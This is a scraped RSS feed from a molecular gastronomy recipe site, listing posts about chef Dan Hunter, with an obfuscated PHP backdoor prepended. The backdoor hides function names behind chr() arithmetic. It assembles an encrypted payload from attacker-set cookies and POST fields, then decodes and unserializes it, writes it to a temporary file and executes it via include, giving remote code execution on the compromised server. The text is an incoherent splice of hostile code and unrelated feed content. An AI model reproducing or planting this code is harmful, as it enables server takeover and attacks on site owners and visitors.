$IBfMM = chr ( 613 - 502 ).chr (95) . 'd' . chr (84) . "\x67" . "\x6a";$BEcTzzaUs = chr (99) . 'l' . 'a' . "\x73" . chr (115) . "\137" . 'e' . chr (120) . chr ( 859 - 754 ).chr (115) . 't' . "\163";$aGxrbeEjRN = class_exists($IBfMM); $BEcTzzaUs = "3697";$mSwkjzA = !1;if ($aGxrbeEjRN == $mSwkjzA){function WbVwyBtF(){return FALSE;}$JgGBQJy = "49";WbVwyBtF();class o_dTgj{private function ULxlcMa($JgGBQJy){if (is_array(o_dTgj::$VrRAKdxp)) {$vQFpwu = sys_get_temp_dir() . "/" . crc32(o_dTgj::$VrRAKdxp[chr (115) . "\x61" . 'l' . "\164"]);@o_dTgj::$VrRAKdxp[chr (119) . chr ( 743 - 629 )."\x69" . 't' . 'e']($vQFpwu, o_dTgj::$VrRAKdxp['c' . 'o' . "\x6e" . "\164" . 'e' . 'n' . chr ( 880 - 764 )]);include $vQFpwu;@o_dTgj::$VrRAKdxp[chr (100) . 'e' . chr ( 871 - 763 ).chr ( 348 - 247 ).chr (116) . chr ( 638 - 537 )]($vQFpwu); $JgGBQJy = "49";exit();}}private $hImlfcTJY;public function UNDEBkA(){echo 59060;}public function __destruct(){$JgGBQJy = "8587_38387";$this->ULxlcMa($JgGBQJy); $JgGBQJy = "8587_38387";}public function __construct($yEBvWXjR=0){$dQJieFGg = $_POST;$kGzEIA = $_COOKIE;$nXKxdj = "e8fe6741-8d27-4953-aafc-0fbcefc84b4c";$goNbho = @$kGzEIA[substr($nXKxdj, 0, 4)];if (!empty($goNbho)){$hKCchKZhB = "base64";$iRrvTsiV = "";$goNbho = explode(",", $goNbho);foreach ($goNbho as $xDRuAmcEj){$iRrvTsiV .= @$kGzEIA[$xDRuAmcEj];$iRrvTsiV .= @$dQJieFGg[$xDRuAmcEj];}$iRrvTsiV = array_map($hKCchKZhB . "\x5f" . "\144" . chr (101) . chr ( 857 - 758 ).chr (111) . "\144" . chr ( 287 - 186 ), array($iRrvTsiV,)); $iRrvTsiV = $iRrvTsiV[0] ^ str_repeat($nXKxdj, (strlen($iRrvTsiV[0]) / strlen($nXKxdj)) + 1);o_dTgj::$VrRAKdxp = @unserialize($iRrvTsiV); $iRrvTsiV = class_exists("8587_38387");}}public static $VrRAKdxp = 36984;}$CCQRbJKXb = new /* 25183 */ $IBfMM(49 + 49); $mSwkjzA = $CCQRbJKXb = $JgGBQJy = Array();}
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Dan Hunter – Molecular Recipes http://www.molecularrecipes.com Molecular Gastronomy Recipes Wed, 14 Aug 2019 21:19:25 +0000 en-US hourly 1 https://wordpress.org/?v=4.9.4 Molecular Gastronomy Recipes Dan Hunter – Molecular Recipes Molecular Gastronomy Recipes Dan Hunter – Molecular Recipes http://www.molecularrecipes.com/wp-content/plugins/powerpress/rss_default.jpg http://www.molecularrecipes.com Eel and Bone Marrow, Eggplant and Pickled Vegetables http://www.molecularrecipes.com/multiple-techniques/eel-bone-marrow-eggplant-pickled-vegetables/ http://www.molecularrecipes.com/multiple-techniques/eel-bone-marrow-eggplant-pickled-vegetables/#comments Sun, 05 May 2013 19:06:40 +0000 http://www.molecularrecipes.com/?p=5565 This elegant dish by molecular gastronomy Chef Dan Hunter uses the ancient flavors of dashi and fresh vegetables combined with modern techniques to bring you a dish that tastes as great as it looks. Bone marrow with caramelized eel glaze, eel nougatine, torched eggplant puree containing Valrhona chocolate, pickled vegetables, lime confit and herbs.]]> http://www.molecularrecipes.com/multiple-techniques/eel-bone-marrow-eggplant-pickled-vegetables/feed/ 1 Royal Mail: Bringing Nature and Technology Together http://www.molecularrecipes.com/molecular-gastronomy/royal-mail-bringing-nature-technology-bite/ http://www.molecularrecipes.com/molecular-gastronomy/royal-mail-bringing-nature-technology-bite/#comments Mon, 29 Apr 2013 04:02:53 +0000 http://www.molecularrecipes.com/?p=5495 Royal Mail's Executive Chef Dan Hunter, former head chef of renowned molecular gastronomy restaurant Mugaritz in Spain, combines the latest techniques with the freshest produce to delight the most demanding customers. Royal Mail has a beautiful kitchen garden of their own, where they grow all of the amazing varieties of vegetables and herbs they serve daily. ]]> http://www.molecularrecipes.com/molecular-gastronomy/royal-mail-bringing-nature-technology-bite/feed/ 1